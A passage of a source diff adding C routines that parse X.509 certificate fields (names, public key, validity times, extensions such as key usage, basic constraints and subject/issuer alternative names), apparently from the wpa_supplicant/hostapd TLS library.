- Compare X.509 certificate names + * @a: Certificate name + * @b: Certificate name + * Returns: <0, 0, or >0 based on whether a is less than, equal to, or + * greater than b + */ +int x509_name_compare(struct x509_name *a, struct x509_name *b) +{ + int res; + size_t i; + + if (!a && b) + return -1; + if (a && !b) + return 1; + if (!a && !b) + return 0; + if (a->num_attr < b->num_attr) + return -1; + if (a->num_attr > b->num_attr) + return 1; + + for (i = 0; i < a->num_attr; i++) { + if (a->attr[i].type < b->attr[i].type) + return -1; + if (a->attr[i].type > b->attr[i].type) + return -1; + res = x509_str_compare(a->attr[i].value, b->attr[i].value); + if (res) + return res; + } + res = x509_str_compare(a->email, b->email); + if (res) + return res; + + return 0; +} + + +static int x509_parse_algorithm_identifier( + const u8 *buf, size_t len, + struct x509_algorithm_identifier *id, const u8 **next) +{ + struct asn1_hdr hdr; + const u8 *pos, *end; + + /* + * AlgorithmIdentifier ::= SEQUENCE { + * algorithm OBJECT IDENTIFIER, + * parameters ANY DEFINED BY algorithm OPTIONAL + * } + */ + + if (asn1_get_next(buf, len, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_SEQUENCE) { + wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " + "(AlgorithmIdentifier) - found class %d tag 0x%x", + hdr.class, hdr.tag); + return -1; + } + pos = hdr.payload; + end = pos + hdr.length; + + if (end > buf + len) + return -1; + + *next = end; + + if (asn1_get_oid(pos, end - pos, &id->oid, &pos)) + return -1; + + /* TODO: optional parameters */ + + return 0; +} + + +static int x509_parse_public_key(const u8 *buf, size_t len, + struct x509_certificate *cert, + const u8 **next) +{ + struct asn1_hdr hdr; + const u8 *pos, *end; + + /* + * SubjectPublicKeyInfo ::= SEQUENCE { + * algorithm AlgorithmIdentifier, + * subjectPublicKey BIT STRING + * } + */ + + pos = buf; + end = buf + len; + + if (asn1_get_next(pos, end - pos, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_SEQUENCE) { + wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " + "(SubjectPublicKeyInfo) - found class %d tag 0x%x", + hdr.class, hdr.tag); + return -1; + } + pos = hdr.payload; + + if (pos + hdr.length > end) + return -1; + end = pos + hdr.length; + *next = end; + + if (x509_parse_algorithm_identifier(pos, end - pos, + &cert->public_key_alg, &pos)) + return -1; + + if (asn1_get_next(pos, end - pos, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_BITSTRING) { + wpa_printf(MSG_DEBUG, "X509: Expected BITSTRING " + "(subjectPublicKey) - found class %d tag 0x%x", + hdr.class, hdr.tag); + return -1; + } + if (hdr.length < 1) + return -1; + pos = hdr.payload; + if (*pos) { + wpa_printf(MSG_DEBUG, "X509: BITSTRING - %d unused bits", + *pos); + /* + * TODO: should this be rejected? X.509 certificates are + * unlikely to use such a construction. Now we would end up + * including the extra bits in the buffer which may also be + * ok. + */ + } + os_free(cert->public_key); + cert->public_key = os_malloc(hdr.length - 1); + if (cert->public_key == NULL) { + wpa_printf(MSG_DEBUG, "X509: Failed to allocate memory for " + "public key"); + return -1; + } + os_memcpy(cert->public_key, pos + 1, hdr.length - 1); + cert->public_key_len = hdr.length - 1; + wpa_hexdump(MSG_MSGDUMP, "X509: subjectPublicKey", + cert->public_key, cert->public_key_len); + + return 0; +} + + +static int x509_parse_name(const u8 *buf, size_t len, struct x509_name *name, + const u8 **next) +{ + struct asn1_hdr hdr; + const u8 *pos, *end, *set_pos, *set_end, *seq_pos, *seq_end; + struct asn1_oid oid; + char *val; + + /* + * Name ::= CHOICE { RDNSequence } + * RDNSequence ::= SEQUENCE OF RelativeDistinguishedName + * RelativeDistinguishedName ::= SET OF AttributeTypeAndValue + * AttributeTypeAndValue ::= SEQUENCE { + * type AttributeType, + * value AttributeValue + * } + * AttributeType ::= OBJECT IDENTIFIER + * AttributeValue ::= ANY DEFINED BY AttributeType + */ + + if (asn1_get_next(buf, len, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_SEQUENCE) { + wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " + "(Name / RDNSequencer) - found class %d tag 0x%x", + hdr.class, hdr.tag); + return -1; + } + pos = hdr.payload; + + if (pos + hdr.length > buf + len) + return -1; + + end = *next = pos + hdr.length; + + while (pos < end) { + enum x509_name_attr_type type; + + if (asn1_get_next(pos, end - pos, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_SET) { + wpa_printf(MSG_DEBUG, "X509: Expected SET " + "(RelativeDistinguishedName) - found class " + "%d tag 0x%x", hdr.class, hdr.tag); + x509_free_name(name); + return -1; + } + + set_pos = hdr.payload; + pos = set_end = hdr.payload + hdr.length; + + if (asn1_get_next(set_pos, set_end - set_pos, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_SEQUENCE) { + wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " + "(AttributeTypeAndValue) - found class %d " + "tag 0x%x", hdr.class, hdr.tag); + x509_free_name(name); + return -1; + } + + seq_pos = hdr.payload; + seq_end = hdr.payload + hdr.length; + + if (asn1_get_oid(seq_pos, seq_end - seq_pos, &oid, &seq_pos)) { + x509_free_name(name); + return -1; + } + + if (asn1_get_next(seq_pos, seq_end - seq_pos, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL) { + wpa_printf(MSG_DEBUG, "X509: Failed to parse " + "AttributeValue"); + x509_free_name(name); + return -1; + } + + /* RFC 3280: + * MUST: country, organization, organizational-unit, + * distinguished name qualifier, state or province name, + * common name, serial number. + * SHOULD: locality, title, surname, given name, initials, + * pseudonym, generation qualifier. + * MUST: domainComponent (RFC 2247). + */ + type = X509_NAME_ATTR_NOT_USED; + if (oid.len == 4 && + oid.oid[0] == 2 && oid.oid[1] == 5 && oid.oid[2] == 4) { + /* id-at ::= 2.5.4 */ + switch (oid.oid[3]) { + case 3: + /* commonName */ + type = X509_NAME_ATTR_CN; + break; + case 6: + /* countryName */ + type = X509_NAME_ATTR_C; + break; + case 7: + /* localityName */ + type = X509_NAME_ATTR_L; + break; + case 8: + /* stateOrProvinceName */ + type = X509_NAME_ATTR_ST; + break; + case 10: + /* organizationName */ + type = X509_NAME_ATTR_O; + break; + case 11: + /* organizationalUnitName */ + type = X509_NAME_ATTR_OU; + break; + } + } else if (oid.len == 7 && + oid.oid[0] == 1 && oid.oid[1] == 2 && + oid.oid[2] == 840 && oid.oid[3] == 113549 && + oid.oid[4] == 1 && oid.oid[5] == 9 && + oid.oid[6] == 1) { + /* 1.2.840.113549.1.9.1 - e-mailAddress */ + os_free(name->email); + name->email = os_malloc(hdr.length + 1); + if (name->email == NULL) { + x509_free_name(name); + return -1; + } + os_memcpy(name->email, hdr.payload, hdr.length); + name->email[hdr.length] = '\0'; + continue; + } else if (oid.len == 7 && + oid.oid[0] == 0 && oid.oid[1] == 9 && + oid.oid[2] == 2342 && oid.oid[3] == 19200300 && + oid.oid[4] == 100 && oid.oid[5] == 1 && + oid.oid[6] == 25) { + /* 0.9.2342.19200300.100.1.25 - domainComponent */ + type = X509_NAME_ATTR_DC; + } + + if (type == X509_NAME_ATTR_NOT_USED) { + wpa_hexdump(MSG_DEBUG, "X509: Unrecognized OID", + (u8 *) oid.oid, + oid.len * sizeof(oid.oid[0])); + wpa_hexdump_ascii(MSG_MSGDUMP, "X509: Attribute Data", + hdr.payload, hdr.length); + continue; + } + + if (name->num_attr == X509_MAX_NAME_ATTRIBUTES) { + wpa_printf(MSG_INFO, "X509: Too many Name attributes"); + x509_free_name(name); + return -1; + } + + val = dup_binstr(hdr.payload, hdr.length); + if (val == NULL) { + x509_free_name(name); + return -1; + } + if (os_strlen(val) != hdr.length) { + wpa_printf(MSG_INFO, "X509: Reject certificate with " + "embedded NUL byte in a string (%s[NUL])", + val); + os_free(val); + x509_free_name(name); + return -1; + } + + name->attr[name->num_attr].type = type; + name->attr[name->num_attr].value = val; + name->num_attr++; + } + + return 0; +} + + +static char * x509_name_attr_str(enum x509_name_attr_type type) +{ + switch (type) { + case X509_NAME_ATTR_NOT_USED: + return "[N/A]"; + case X509_NAME_ATTR_DC: + return "DC"; + case X509_NAME_ATTR_CN: + return "CN"; + case X509_NAME_ATTR_C: + return "C"; + case X509_NAME_ATTR_L: + return "L"; + case X509_NAME_ATTR_ST: + return "ST"; + case X509_NAME_ATTR_O: + return "O"; + case X509_NAME_ATTR_OU: + return "OU"; + } + return "?"; +} + + +/** + * x509_name_string - Convert an X.509 certificate name into a string + * @name: Name to convert + * @buf: Buffer for the string + * @len: Maximum buffer length + */ +void x509_name_string(struct x509_name *name, char *buf, size_t len) +{ + char *pos, *end; + int ret; + size_t i; + + if (len == 0) + return; + + pos = buf; + end = buf + len; + + for (i = 0; i < name->num_attr; i++) { + ret = os_snprintf(pos, end - pos, "%s=%s, ", + x509_name_attr_str(name->attr[i].type), + name->attr[i].value); + if (ret < 0 || ret >= end - pos) + goto done; + pos += ret; + } + + if (pos > buf + 1 && pos[-1] == ' ' && pos[-2] == ',') { + pos--; + *pos = '\0'; + pos--; + *pos = '\0'; + } + + if (name->email) { + ret = os_snprintf(pos, end - pos, "/emailAddress=%s", + name->email); + if (ret < 0 || ret >= end - pos) + goto done; + pos += ret; + } + +done: + end[-1] = '\0'; +} + + +static int x509_parse_time(const u8 *buf, size_t len, u8 asn1_tag, + os_time_t *val) +{ + const char *pos; + int year, month, day, hour, min, sec; + + /* + * Time ::= CHOICE { + * utcTime UTCTime, + * generalTime GeneralizedTime + * } + * + * UTCTime: YYMMDDHHMMSSZ + * GeneralizedTime: YYYYMMDDHHMMSSZ + */ + + pos = (const char *) buf; + + switch (asn1_tag) { + case ASN1_TAG_UTCTIME: + if (len != 13 || buf[12] != 'Z') { + wpa_hexdump_ascii(MSG_DEBUG, "X509: Unrecognized " + "UTCTime format", buf, len); + return -1; + } + if (sscanf(pos, "%02d", &year) != 1) { + wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse " + "UTCTime year", buf, len); + return -1; + } + if (year < 50) + year += 2000; + else + year += 1900; + pos += 2; + break; + case ASN1_TAG_GENERALIZEDTIME: + if (len != 15 || buf[14] != 'Z') { + wpa_hexdump_ascii(MSG_DEBUG, "X509: Unrecognized " + "GeneralizedTime format", buf, len); + return -1; + } + if (sscanf(pos, "%04d", &year) != 1) { + wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse " + "GeneralizedTime year", buf, len); + return -1; + } + pos += 4; + break; + default: + wpa_printf(MSG_DEBUG, "X509: Expected UTCTime or " + "GeneralizedTime - found tag 0x%x", asn1_tag); + return -1; + } + + if (sscanf(pos, "%02d", &month) != 1) { + wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time " + "(month)", buf, len); + return -1; + } + pos += 2; + + if (sscanf(pos, "%02d", &day) != 1) { + wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time " + "(day)", buf, len); + return -1; + } + pos += 2; + + if (sscanf(pos, "%02d", &hour) != 1) { + wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time " + "(hour)", buf, len); + return -1; + } + pos += 2; + + if (sscanf(pos, "%02d", &min) != 1) { + wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time " + "(min)", buf, len); + return -1; + } + pos += 2; + + if (sscanf(pos, "%02d", &sec) != 1) { + wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time " + "(sec)", buf, len); + return -1; + } + + if (os_mktime(year, month, day, hour, min, sec, val) < 0) { + wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to convert Time", + buf, len); + if (year < 1970) { + /* + * At least some test certificates have been configured + * to use dates prior to 1970. Set the date to + * beginning of 1970 to handle these case. + */ + wpa_printf(MSG_DEBUG, "X509: Year=%d before epoch - " + "assume epoch as the time", year); + *val = 0; + return 0; + } + return -1; + } + + return 0; +} + + +static int x509_parse_validity(const u8 *buf, size_t len, + struct x509_certificate *cert, const u8 **next) +{ + struct asn1_hdr hdr; + const u8 *pos; + size_t plen; + + /* + * Validity ::= SEQUENCE { + * notBefore Time, + * notAfter Time + * } + * + * RFC 3280, 4.1.2.5: + * CAs conforming to this profile MUST always encode certificate + * validity dates through the year 2049 as UTCTime; certificate + * validity dates in 2050 or later MUST be encoded as GeneralizedTime. + */ + + if (asn1_get_next(buf, len, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_SEQUENCE) { + wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " + "(Validity) - found class %d tag 0x%x", + hdr.class, hdr.tag); + return -1; + } + pos = hdr.payload; + plen = hdr.length; + + if (pos + plen > buf + len) + return -1; + + *next = pos + plen; + + if (asn1_get_next(pos, plen, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + x509_parse_time(hdr.payload, hdr.length, hdr.tag, + &cert->not_before) < 0) { + wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse notBefore " + "Time", hdr.payload, hdr.length); + return -1; + } + + pos = hdr.payload + hdr.length; + plen = *next - pos; + + if (asn1_get_next(pos, plen, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + x509_parse_time(hdr.payload, hdr.length, hdr.tag, + &cert->not_after) < 0) { + wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse notAfter " + "Time", hdr.payload, hdr.length); + return -1; + } + + wpa_printf(MSG_MSGDUMP, "X509: Validity: notBefore: %lu notAfter: %lu", + (unsigned long) cert->not_before, + (unsigned long) cert->not_after); + + return 0; +} + + +static int x509_id_ce_oid(struct asn1_oid *oid) +{ + /* id-ce arc from X.509 for standard X.509v3 extensions */ + return oid->len >= 4 && + oid->oid[0] == 2 /* joint-iso-ccitt */ && + oid->oid[1] == 5 /* ds */ && + oid->oid[2] == 29 /* id-ce */; +} + + +static int x509_parse_ext_key_usage(struct x509_certificate *cert, + const u8 *pos, size_t len) +{ + struct asn1_hdr hdr; + + /* + * KeyUsage ::= BIT STRING { + * digitalSignature (0), + * nonRepudiation (1), + * keyEncipherment (2), + * dataEncipherment (3), + * keyAgreement (4), + * keyCertSign (5), + * cRLSign (6), + * encipherOnly (7), + * decipherOnly (8) } + */ + + if (asn1_get_next(pos, len, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_BITSTRING || + hdr.length < 1) { + wpa_printf(MSG_DEBUG, "X509: Expected BIT STRING in " + "KeyUsage; found %d tag 0x%x len %d", + hdr.class, hdr.tag, hdr.length); + return -1; + } + + cert->extensions_present |= X509_EXT_KEY_USAGE; + cert->key_usage = asn1_bit_string_to_long(hdr.payload, hdr.length); + + wpa_printf(MSG_DEBUG, "X509: KeyUsage 0x%lx", cert->key_usage); + + return 0; +} + + +static int x509_parse_ext_basic_constraints(struct x509_certificate *cert, + const u8 *pos, size_t len) +{ + struct asn1_hdr hdr; + unsigned long value; + size_t left; + + /* + * BasicConstraints ::= SEQUENCE { + * cA BOOLEAN DEFAULT FALSE, + * pathLenConstraint INTEGER (0..MAX) OPTIONAL } + */ + + if (asn1_get_next(pos, len, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_SEQUENCE) { + wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE in " + "BasicConstraints; found %d tag 0x%x", + hdr.class, hdr.tag); + return -1; + } + + cert->extensions_present |= X509_EXT_BASIC_CONSTRAINTS; + + if (hdr.length == 0) + return 0; + + if (asn1_get_next(hdr.payload, hdr.length, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL) { + wpa_printf(MSG_DEBUG, "X509: Failed to parse " + "BasicConstraints"); + return -1; + } + + if (hdr.tag == ASN1_TAG_BOOLEAN) { + if (hdr.length != 1) { + wpa_printf(MSG_DEBUG, "X509: Unexpected " + "Boolean length (%u) in BasicConstraints", + hdr.length); + return -1; + } + cert->ca = hdr.payload[0]; + + if (hdr.payload + hdr.length == pos + len) { + wpa_printf(MSG_DEBUG, "X509: BasicConstraints - cA=%d", + cert->ca); + return 0; + } + + if (asn1_get_next(hdr.payload + hdr.length, len - hdr.length, + &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL) { + wpa_printf(MSG_DEBUG, "X509: Failed to parse " + "BasicConstraints"); + return -1; + } + } + + if (hdr.tag != ASN1_TAG_INTEGER) { + wpa_printf(MSG_DEBUG, "X509: Expected INTEGER in " + "BasicConstraints; found class %d tag 0x%x", + hdr.class, hdr.tag); + return -1; + } + + pos = hdr.payload; + left = hdr.length; + value = 0; + while (left) { + value <<= 8; + value |= *pos++; + left--; + } + + cert->path_len_constraint = value; + cert->extensions_present |= X509_EXT_PATH_LEN_CONSTRAINT; + + wpa_printf(MSG_DEBUG, "X509: BasicConstraints - cA=%d " + "pathLenConstraint=%lu", + cert->ca, cert->path_len_constraint); + + return 0; +} + + +static int x509_parse_alt_name_rfc8222(struct x509_name *name, + const u8 *pos, size_t len) +{ + /* rfc822Name IA5String */ + wpa_hexdump_ascii(MSG_MSGDUMP, "X509: altName - rfc822Name", pos, len); + os_free(name->alt_email); + name->alt_email = os_zalloc(len + 1); + if (name->alt_email == NULL) + return -1; + os_memcpy(name->alt_email, pos, len); + if (os_strlen(name->alt_email) != len) { + wpa_printf(MSG_INFO, "X509: Reject certificate with " + "embedded NUL byte in rfc822Name (%s[NUL])", + name->alt_email); + os_free(name->alt_email); + name->alt_email = NULL; + return -1; + } + return 0; +} + + +static int x509_parse_alt_name_dns(struct x509_name *name, + const u8 *pos, size_t len) +{ + /* dNSName IA5String */ + wpa_hexdump_ascii(MSG_MSGDUMP, "X509: altName - dNSName", pos, len); + os_free(name->dns); + name->dns = os_zalloc(len + 1); + if (name->dns == NULL) + return -1; + os_memcpy(name->dns, pos, len); + if (os_strlen(name->dns) != len) { + wpa_printf(MSG_INFO, "X509: Reject certificate with " + "embedded NUL byte in dNSName (%s[NUL])", + name->dns); + os_free(name->dns); + name->dns = NULL; + return -1; + } + return 0; +} + + +static int x509_parse_alt_name_uri(struct x509_name *name, + const u8 *pos, size_t len) +{ + /* uniformResourceIdentifier IA5String */ + wpa_hexdump_ascii(MSG_MSGDUMP, + "X509: altName - uniformResourceIdentifier", + pos, len); + os_free(name->uri); + name->uri = os_zalloc(len + 1); + if (name->uri == NULL) + return -1; + os_memcpy(name->uri, pos, len); + if (os_strlen(name->uri) != len) { + wpa_printf(MSG_INFO, "X509: Reject certificate with " + "embedded NUL byte in uniformResourceIdentifier " + "(%s[NUL])", name->uri); + os_free(name->uri); + name->uri = NULL; + return -1; + } + return 0; +} + + +static int x509_parse_alt_name_ip(struct x509_name *name, + const u8 *pos, size_t len) +{ + /* iPAddress OCTET STRING */ + wpa_hexdump(MSG_MSGDUMP, "X509: altName - iPAddress", pos, len); + os_free(name->ip); + name->ip = os_malloc(len); + if (name->ip == NULL) + return -1; + os_memcpy(name->ip, pos, len); + name->ip_len = len; + return 0; +} + + +static int x509_parse_alt_name_rid(struct x509_name *name, + const u8 *pos, size_t len) +{ + char buf[80]; + + /* registeredID OBJECT IDENTIFIER */ + if (asn1_parse_oid(pos, len, &name->rid) < 0) + return -1; + + asn1_oid_to_str(&name->rid, buf, sizeof(buf)); + wpa_printf(MSG_MSGDUMP, "X509: altName - registeredID: %s", buf); + + return 0; +} + + +static int x509_parse_ext_alt_name(struct x509_name *name, + const u8 *pos, size_t len) +{ + struct asn1_hdr hdr; + const u8 *p, *end; + + /* + * GeneralNames ::= SEQUENCE SIZE (1..MAX) OF GeneralName + * + * GeneralName ::= CHOICE { + * otherName [0] OtherName, + * rfc822Name [1] IA5String, + * dNSName [2] IA5String, + * x400Address [3] ORAddress, + * directoryName [4] Name, + * ediPartyName [5] EDIPartyName, + * uniformResourceIdentifier [6] IA5String, + * iPAddress [7] OCTET STRING, + * registeredID [8] OBJECT IDENTIFIER } + * + * OtherName ::= SEQUENCE { + * type-id OBJECT IDENTIFIER, + * value [0] EXPLICIT ANY DEFINED BY type-id } + * + * EDIPartyName ::= SEQUENCE { + * nameAssigner [0] DirectoryString OPTIONAL, + * partyName [1] DirectoryString } + */ + + for (p = pos, end = pos + len; p < end; p = hdr.payload + hdr.length) { + int res; + + if (asn1_get_next(p, end - p, &hdr) < 0) { + wpa_printf(MSG_DEBUG, "X509: Failed to parse " + "SubjectAltName item"); + return -1; + } + + if (hdr.class != ASN1_CLASS_CONTEXT_SPECIFIC) + continue; + + switch (hdr.tag) { + case 1: + res = x509_parse_alt_name_rfc8222(name, hdr.payload, + hdr.length); + break; + case 2: + res = x509_parse_alt_name_dns(name, hdr.payload, + hdr.length); + break; + case 6: + res = x509_parse_alt_name_uri(name, hdr.payload, + hdr.length); + break; + case 7: + res = x509_parse_alt_name_ip(name, hdr.payload, + hdr.length); + break; + case 8: + res = x509_parse_alt_name_rid(name, hdr.payload, + hdr.length); + break; + case 0: /* TODO: otherName */ + case 3: /* TODO: x500Address */ + case 4: /* TODO: directoryName */ + case 5: /* TODO: ediPartyName */ + default: + res = 0; + break; + } + if (res < 0) + return res; + } + + return 0; +} + + +static int x509_parse_ext_subject_alt_name(struct x509_certificate *cert, + const u8 *pos, size_t len) +{ + struct asn1_hdr hdr; + + /* SubjectAltName ::= GeneralNames */ + + if (asn1_get_next(pos, len, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_SEQUENCE) { + wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE in " + "SubjectAltName; found %d tag 0x%x", + hdr.class, hdr.tag); + return -1; + } + + wpa_printf(MSG_DEBUG, "X509: SubjectAltName"); + cert->extensions_present |= X509_EXT_SUBJECT_ALT_NAME; + + if (hdr.length == 0) + return 0; + + return x509_parse_ext_alt_name(&cert->subject, hdr.payload, + hdr.length); +} + + +static int x509_parse_ext_issuer_alt_name(struct x509_certificate *cert, + const u8 *pos, size_t len) +{ + struct asn1_hdr hdr; + + /* IssuerAltName ::= GeneralNames */ + + if (asn1_get_next(pos, len, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_SEQUENCE) { + wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE in " + "IssuerAltName; found %d tag 0x%x", + hdr.class, hdr.tag); + return -1; + } + + wpa_printf(MSG_DEBUG, "X509: IssuerAltName"); + cert->extensions_present |= X509_EXT_ISSUER_ALT_NAME; + + if (hdr.length == 0) + return 0; + + return x509_parse_ext_alt_name(&cert->issuer, hdr.payload, + hdr.length); +} + + +static int x509_parse_extension_data(struct x509_certificate *cert, + struct asn1_oid *oid, + const u8 *pos, size_t len) +{ + if (!x509_id_ce_oid(oid)) + return 1; + + /* TODO: add other extensions required by RFC 3280, Ch 4.2: + * certificate policies (section 4.2.1.5) + * name constraints (section 4.2.1.11) + * policy constraints (section 4.2.1.12) + * extended key usage (section 4.2.1.13) + * inhibit any-policy (section 4.2.1.15) + */ + switch (oid->oid[3]) { + case 15: /* id-ce-keyUsage */ + return x509_parse_ext_key_usage(cert, pos, len); + case 17: /* id-ce-subjectAltName */ + return x509_parse_ext_subject_alt_name(cert, pos, len); + case 18: /* id-ce-issuerAltName */ + return x509_parse_ext_issuer_alt_name(cert, pos, len); + case 19: /* id-ce-basicConstraints */ + return x509_parse_ext_basic_constraints(cert, pos, len); + default: + return 1; + } +} + + +static int x509_parse_extension(struct x509_certificate *cert, + const u8 *pos, size_t len, const u8 **next) +{ + const u8 *end; + struct asn1_hdr hdr; + struct asn1_oid oid; + int critical_ext = 0, res; + char buf[80]; + + /* + * Extension ::= SEQUENCE { + * extnID OBJECT IDENTIFIER, + * critical BOOLEAN DEFAULT FALSE, + * extnValue OCTET STRING + * } + */ + + if (asn1_get_next(pos, len, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_SEQUENCE) { + wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 header in " + "Extensions: class %d tag 0x%x; expected SEQUENCE", + hdr.class, hdr.tag); + return -1; + } + pos = hdr.payload; + *next = end = pos + hdr.length; + + if (asn1_get_oid(pos, end - pos, &oid, &pos) < 0) { + wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 data for " + "Extension (expected OID)"); + return -1; + } + + if (asn1_get_next(pos, end - pos, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + (hdr.tag != ASN1_TAG_BOOLEAN && + hdr.tag != ASN1_TAG_OCTETSTRING)) { + wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 header in " + "Extensions: class %d tag 0x%x; expected BOOLEAN " + "or OCTET STRING", hdr.class, hdr.tag); + return -1; + } + + if (hdr.tag == ASN1_TAG_BOOLEAN) { + if (hdr.length != 1) { + wpa_printf(MSG_DEBUG, "X509: Unexpected " + "Boolean length (%u)", hdr.length); + return -1; + } + critical_ext = hdr.payload[0]; + pos = hdr.payload; + if (asn1_get_next(pos, end - pos, &hdr) < 0 || + (hdr.class != ASN1_CLASS_UNIVERSAL && + hdr.class != ASN1_CLASS_PRIVATE) || + hdr.tag != ASN1_TAG_OCTETSTRING) { + wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 header " + "in Extensions: class %d tag 0x%x; " + "expected OCTET STRING", + hdr.class, hdr.tag); + return -1; + } + } + + asn1_oid_to_str(&oid, buf, sizeof(buf)); + wpa_printf(MSG_DEBUG, "X509: Extension: extnID=%s critical=%d", + buf, critical_ext); + wpa_hexdump(MSG_MSGDUMP, "X509: extnValue", hdr.payload, hdr.length); + + res = x509_parse_extension_data(cert, &oid, hdr.payload, hdr.length); + if (res < 0) + return res; + if (res == 1 && critical_ext) { + wpa_printf(MSG_INFO, "X509: Unknown critical extension %s", + buf); + return -1; + } + + return 0; +} + + +static int x509_parse_extensions(struct x509_certificate *cert, + const u8 *pos, size_t len) +{ + const u8 *end; + struct asn1_hdr hdr; + + /* Extensions ::= SEQUENCE SIZE (1..MAX) OF Extension */ + + if (asn1_get_next(pos, len, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_SEQUENCE) { + wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 data " + "for Extensions: class %d tag 0x%x; " + "expected SEQUENCE", hdr.class, hdr.tag); + return -1; + } + + pos = hdr.payload; + end = pos + hdr.length; + + while (pos < end) { + if (x509_parse_extension(cert, pos, end - pos, &pos) + < 0) + return -1; + } + + return 0; +} + + +static int x509_parse_tbs_certificate(const u8 *buf, size_t len, + struct x509_certificate *cert, + const u8 **next) +{ + struct asn1_hdr hdr; + const u8 *pos, *end; + size_t left; + char sbuf[128]; + unsigned long value; + + /* tbsCertificate TBSCertificate ::= SEQUENCE */ + if (asn1_get_next(buf, len, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_SEQUENCE) { + wpa_printf(MSG_DEBUG, "X509: tbsCertificate did not start " + "with a valid SEQUENCE - found class %d tag 0x%x", + hdr.class, hdr.tag); + return -1; + } + pos = hdr.payload; + end = *next = pos + hdr.length; + + /* + * version [0] EXPLICIT Version DEFAULT v1 + * Version ::= INTEGER { v1(0), v2(1), v3(2) } + */ + if (asn1_get_next(pos, end - pos, &hdr) < 0) + return -1; + pos = hdr.payload; + + if (hdr.class == ASN1_CLASS_CONTEXT_SPECIFIC) { + if (asn1_get_next(pos, end - pos, &hdr) < 0) + return -1; + + if (hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_INTEGER) { + wpa_printf(MSG_DEBUG, "X509: No INTEGER tag found for " + "version field - found class %d tag 0x%x", + hdr.class, hdr.tag); + return -1; + } + if (hdr.length != 1) { + wpa_printf(MSG_DEBUG, "X509: Unexpected version field " + "length %u (expected 1)", hdr.length); + return -1; + } + pos = hdr.payload; + left = hdr.length; + value = 0; + while (left) { + value <<= 8; + value |= *pos++; + left--; + } + + cert->version = value; + if (cert->version != X509_CERT_V1 && + cert->version != X509_CERT_V2 && + cert->version != X509_CERT_V3) { + wpa_printf(MSG_DEBUG, "X509: Unsupported version %d", + cert->version + 1); + return -1; + } + + if (asn1_get_next(pos, end - pos, &hdr) < 0) + return -1; + } else + cert->version = X509_CERT_V1; + wpa_printf(MSG_MSGDUMP, "X509: Version X.509v%d", cert->version + 1); + + /* serialNumber CertificateSerialNumber ::= INTEGER */ + if (hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_INTEGER) { + wpa_printf(MSG_DEBUG, "X509: No INTEGER tag found for " + "serialNumber; class=%d tag=0x%x", + hdr.class, hdr.tag); + return -1; + } + + pos = hdr.payload; + left = hdr.length; + while (left) { + cert->serial_number <<= 8; + cert->serial_number |= *pos++; + left--; + } + wpa_printf(MSG_MSGDUMP, "X509: serialNumber %lu", cert->serial_number); + + /* signature AlgorithmIdentifier */ + if (x509_parse_algorithm_identifier(pos, end - pos, &cert->signature, + &pos)) + return -1; + + /* issuer Name */ + if (x509_parse_name(pos, end - pos, &cert->issuer, &pos)) + return -1; + x509_name_string(&cert->issuer, sbuf, sizeof(sbuf)); + wpa_printf(MSG_MSGDUMP, "X509: issuer %s", sbuf); + + /* validity Validity */ + if (x509_parse_validity(pos, end - pos, cert, &pos)) + return -1; + + /* subject Name */ + if (x509_parse_name(pos, end - pos, &cert->subject, &pos)) + return -1; + x509_name_string(&cert->subject, sbuf, sizeof(sbuf)); + 